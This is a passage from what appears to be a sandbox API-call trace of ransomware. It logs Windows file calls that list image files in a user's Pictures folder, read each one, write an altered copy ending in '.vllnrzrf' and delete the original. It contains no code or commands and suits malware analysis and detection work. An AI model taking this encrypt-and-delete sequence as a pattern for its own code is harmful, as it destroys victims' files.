(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\lxipb7nyhal11rjlr.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0116.930] GetFileType (hFile=0x50c) returned 0x1 [0116.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae160) returned 1 [0116.930] GetFileType (hFile=0x50c) returned 0x1 [0116.930] WriteFile (in: hFile=0x50c, lpBuffer=0x220f4a0*, nNumberOfBytesToWrite=0x130a0, lpNumberOfBytesWritten=0x1c0ae318, lpOverlapped=0x0 | out: lpBuffer=0x220f4a0*, lpNumberOfBytesWritten=0x1c0ae318*=0x130a0, lpOverlapped=0x0) returned 1 [0116.934] CloseHandle (hObject=0x50c) returned 1 [0116.936] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", lpFilePart=0x0) returned 0x4b [0116.936] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", nBufferLength=0x105, lpBuffer=0x1c0adeb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp", lpFilePart=0x0) returned 0x4b [0116.936] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\LXiPb7nYhAL11rJLr.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\lxipb7nyhal11rjlr.bmp")) returned 1 [0116.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", lpFilePart=0x0) returned 0x4a [0116.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", lpFilePart=0x0) returned 0x4a [0116.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", lpFilePart=0x0) returned 0x4a [0116.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae1f0) returned 1 [0116.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\nnstqzrufvzmt95h.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0116.939] GetFileType (hFile=0x50c) returned 0x1 [0116.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae160) returned 1 [0116.939] GetFileType (hFile=0x50c) returned 0x1 [0116.939] GetFileSize (in: hFile=0x50c, lpFileSizeHigh=0x1c0ae388 | out: lpFileSizeHigh=0x1c0ae388*=0x0) returned 0x180ef [0116.939] ReadFile (in: hFile=0x50c, lpBuffer=0x12311198, nNumberOfBytesToRead=0x180ef, lpNumberOfBytesRead=0x1c0ae2b8, lpOverlapped=0x0 | out: lpBuffer=0x12311198*, lpNumberOfBytesRead=0x1c0ae2b8*=0x180ef, lpOverlapped=0x0) returned 1 [0116.941] CloseHandle (hObject=0x50c) returned 1 [0116.952] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg.vllnrzrf", lpFilePart=0x0) returned 0x53 [0116.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ae1f0) returned 1 [0116.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\nnstqzrufvzmt95h.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x50c [0116.953] GetFileType (hFile=0x50c) returned 0x1 [0116.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae160) returned 1 [0116.953] GetFileType (hFile=0x50c) returned 0x1 [0116.953] WriteFile (in: hFile=0x50c, lpBuffer=0x123a1790*, nNumberOfBytesToWrite=0x182ef, lpNumberOfBytesWritten=0x1c0ae318, lpOverlapped=0x0 | out: lpBuffer=0x123a1790*, lpNumberOfBytesWritten=0x1c0ae318*=0x182ef, lpOverlapped=0x0) returned 1 [0116.957] CloseHandle (hObject=0x50c) returned 1 [0116.959] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", nBufferLength=0x105, lpBuffer=0x1c0add10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", lpFilePart=0x0) returned 0x4a [0116.959] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", nBufferLength=0x105, lpBuffer=0x1c0adeb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg", lpFilePart=0x0) returned 0x4a [0116.959] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\nnsTQZrUFVZmt95H.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\nnstqzrufvzmt95h.jpg")) returned 1 [0116.963] CoUninitialize () Thread: id = 96 os_tid = 0x844 [0116.969] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1c08de20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0116.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e280) returned 1 [0116.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", nBufferLength=0x105, lpBuffer=0x1c08dd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL", lpFilePart=0x0) returned 0x3a [0116.982] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\", nBufferLength=0x105, lpBuffer=0x1c08dd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\", lpFilePart=0x0) returned 0x3b [0116.982] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\*.*", lpFindFileData=0x1c08df20 | out: lpFindFileData=0x1c08df20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7cb9ab0, ftCreationTime.dwHighDateTime=0x1d5d841, ftLastAccessTime.dwLowDateTime=0x7ff54200, ftLastAccessTime.dwHighDateTime=0x1d5e4b9, ftLastWriteTime.dwLowDateTime=0x7ff54200, ftLastWriteTime.dwHighDateTime=0x1d5e4b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0116.982] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7cb9ab0, ftCreationTime.dwHighDateTime=0x1d5d841, ftLastAccessTime.dwLowDateTime=0x7ff54200, ftLastAccessTime.dwHighDateTime=0x1d5e4b9, ftLastWriteTime.dwLowDateTime=0x7ff54200, ftLastWriteTime.dwHighDateTime=0x1d5e4b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.982] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdaabc60, ftCreationTime.dwHighDateTime=0x1d5dd6b, ftLastAccessTime.dwLowDateTime=0x634791d0, ftLastAccessTime.dwHighDateTime=0x1d5defb, ftLastWriteTime.dwLowDateTime=0x634791d0, ftLastWriteTime.dwHighDateTime=0x1d5defb, nFileSizeHigh=0x0, nFileSizeLow=0x5a35, dwReserved0=0x0, dwReserved1=0x0, cFileName="5n41EH9uagXb6iV9IGNW.gif", cAlternateFileName="5N41EH~1.GIF")) returned 1 [0116.983] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0084720, ftCreationTime.dwHighDateTime=0x1d5dd60, ftLastAccessTime.dwLowDateTime=0x448ff970, ftLastAccessTime.dwHighDateTime=0x1d5e686, ftLastWriteTime.dwLowDateTime=0x448ff970, ftLastWriteTime.dwHighDateTime=0x1d5e686, nFileSizeHigh=0x0, nFileSizeLow=0x109c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="bopt0qA6d.gif", cAlternateFileName="BOPT0Q~1.GIF")) returned 1 [0116.983] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x247ee400, ftCreationTime.dwHighDateTime=0x1d5e42b, ftLastAccessTime.dwLowDateTime=0x399eaaa0, ftLastAccessTime.dwHighDateTime=0x1d5e5a2, ftLastWriteTime.dwLowDateTime=0x399eaaa0, ftLastWriteTime.dwHighDateTime=0x1d5e5a2, nFileSizeHigh=0x0, nFileSizeLow=0x136c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="cRcHV7bYD0NmNa L iC.png", cAlternateFileName="CRCHV7~1.PNG")) returned 1 [0116.983] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59419e00, ftCreationTime.dwHighDateTime=0x1d5df83, ftLastAccessTime.dwLowDateTime=0xf2e0e020, ftLastAccessTime.dwHighDateTime=0x1d5e0af, ftLastWriteTime.dwLowDateTime=0xf2e0e020, ftLastWriteTime.dwHighDateTime=0x1d5e0af, nFileSizeHigh=0x0, nFileSizeLow=0x8ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DscltQSPgL.jpg", cAlternateFileName="DSCLTQ~1.JPG")) returned 1 [0116.983] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4125ba20, ftCreationTime.dwHighDateTime=0x1d5e098, ftLastAccessTime.dwLowDateTime=0xf8e69390, ftLastAccessTime.dwHighDateTime=0x1d5daa4, ftLastWriteTime.dwLowDateTime=0xf8e69390, ftLastWriteTime.dwHighDateTime=0x1d5daa4, nFileSizeHigh=0x0, nFileSizeLow=0xc7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="E0MxQ81ml.gif", cAlternateFileName="E0MXQ8~1.GIF")) returned 1 [0116.983] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9bb160, ftCreationTime.dwHighDateTime=0x1d5e484, ftLastAccessTime.dwLowDateTime=0xe7cd6c60, ftLastAccessTime.dwHighDateTime=0x1d5e115, ftLastWriteTime.dwLowDateTime=0xe7cd6c60, ftLastWriteTime.dwHighDateTime=0x1d5e115, nFileSizeHigh=0x0, nFileSizeLow=0xa6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gvmhr56drZ8Sr5eoymp.png", cAlternateFileName="GVMHR5~1.PNG")) returned 1 [0116.984] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cb7cdb0, ftCreationTime.dwHighDateTime=0x1d5e68f, ftLastAccessTime.dwLowDateTime=0xe629c090, ftLastAccessTime.dwHighDateTime=0x1d5e0eb, ftLastWriteTime.dwLowDateTime=0xe629c090, ftLastWriteTime.dwHighDateTime=0x1d5e0eb, nFileSizeHigh=0x0, nFileSizeLow=0xb01b, dwReserved0=0x0, dwReserved1=0x0, cFileName="kpxw_vjX1INpKG6.jpg", cAlternateFileName="KPXW_V~1.JPG")) returned 1 [0116.985] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e67a9b0, ftCreationTime.dwHighDateTime=0x1d5e20c, ftLastAccessTime.dwLowDateTime=0xdf37ab00, ftLastAccessTime.dwHighDateTime=0x1d5e62a, ftLastWriteTime.dwLowDateTime=0xdf37ab00, ftLastWriteTime.dwHighDateTime=0x1d5e62a, nFileSizeHigh=0x0, nFileSizeLow=0xa6f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2h8fZJ8j9.bmp", cAlternateFileName="L2H8FZ~1.BMP")) returned 1 [0116.985] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08df70 | out: lpFindFileData=0x1c08df70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.985] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0116.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e1d0) returned 1 [0116.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e190) returned 1 [0116.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", lpFilePart=0x0) returned 0x53 [0116.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", lpFilePart=0x0) returned 0x53 [0116.987] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", lpFilePart=0x0) returned 0x53 [0116.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0116.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\5n41eh9uagxb6iv9ignw.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0116.987] GetFileType (hFile=0x44c) returned 0x1 [0116.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0116.987] GetFileType (hFile=0x44c) returned 0x1 [0116.987] GetFileSize (in: hFile=0x44c, lpFileSizeHigh=0x1c08e308 | out: lpFileSizeHigh=0x1c08e308*=0x0) returned 0x5a35 [0116.987] ReadFile (in: hFile=0x44c, lpBuffer=0x224ba38, nNumberOfBytesToRead=0x5a35, lpNumberOfBytesRead=0x1c08e238, lpOverlapped=0x0 | out: lpBuffer=0x224ba38*, lpNumberOfBytesRead=0x1c08e238*=0x5a35, lpOverlapped=0x0) returned 1 [0116.988] CloseHandle (hObject=0x44c) returned 1 [0116.999] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif.vllnrzrf", lpFilePart=0x0) returned 0x5c [0117.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.000] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\5n41eh9uagxb6iv9ignw.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0117.000] GetFileType (hFile=0x44c) returned 0x1 [0117.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.000] GetFileType (hFile=0x44c) returned 0x1 [0117.001] WriteFile (in: hFile=0x44c, lpBuffer=0x2278638*, nNumberOfBytesToWrite=0x5c35, lpNumberOfBytesWritten=0x1c08e298, lpOverlapped=0x0 | out: lpBuffer=0x2278638*, lpNumberOfBytesWritten=0x1c08e298*=0x5c35, lpOverlapped=0x0) returned 1 [0117.006] CloseHandle (hObject=0x44c) returned 1 [0117.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", lpFilePart=0x0) returned 0x53 [0117.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", nBufferLength=0x105, lpBuffer=0x1c08de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif", lpFilePart=0x0) returned 0x53 [0117.013] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\5n41EH9uagXb6iV9IGNW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\5n41eh9uagxb6iv9ignw.gif")) returned 1 [0117.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", lpFilePart=0x0) returned 0x48 [0117.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", lpFilePart=0x0) returned 0x48 [0117.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", lpFilePart=0x0) returned 0x48 [0117.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.016] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\bopt0qa6d.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0117.016] GetFileType (hFile=0x44c) returned 0x1 [0117.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.016] GetFileType (hFile=0x44c) returned 0x1 [0117.016] GetFileSize (in: hFile=0x44c, lpFileSizeHigh=0x1c08e308 | out: lpFileSizeHigh=0x1c08e308*=0x0) returned 0x109c1 [0117.017] ReadFile (in: hFile=0x44c, lpBuffer=0x2282410, nNumberOfBytesToRead=0x109c1, lpNumberOfBytesRead=0x1c08e238, lpOverlapped=0x0 | out: lpBuffer=0x2282410*, lpNumberOfBytesRead=0x1c08e238*=0x109c1, lpOverlapped=0x0) returned 1 [0117.018] CloseHandle (hObject=0x44c) returned 1 [0117.031] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif.vllnrzrf", lpFilePart=0x0) returned 0x51 [0117.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.031] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\bopt0qa6d.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0117.032] GetFileType (hFile=0x44c) returned 0x1 [0117.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.032] GetFileType (hFile=0x44c) returned 0x1 [0117.032] WriteFile (in: hFile=0x44c, lpBuffer=0x22dec10*, nNumberOfBytesToWrite=0x10bc1, lpNumberOfBytesWritten=0x1c08e298, lpOverlapped=0x0 | out: lpBuffer=0x22dec10*, lpNumberOfBytesWritten=0x1c08e298*=0x10bc1, lpOverlapped=0x0) returned 1 [0117.035] CloseHandle (hObject=0x44c) returned 1 [0117.040] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", lpFilePart=0x0) returned 0x48 [0117.040] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", nBufferLength=0x105, lpBuffer=0x1c08de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif", lpFilePart=0x0) returned 0x48 [0117.040] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\bopt0qA6d.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\bopt0qa6d.gif")) returned 1 [0117.045] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", lpFilePart=0x0) returned 0x52 [0117.045] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", lpFilePart=0x0) returned 0x52 [0117.045] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\cRcHV7bYD0NmNa L iC.png", nBufferLength=0x105, lpBuffer=0x1c08dc90, 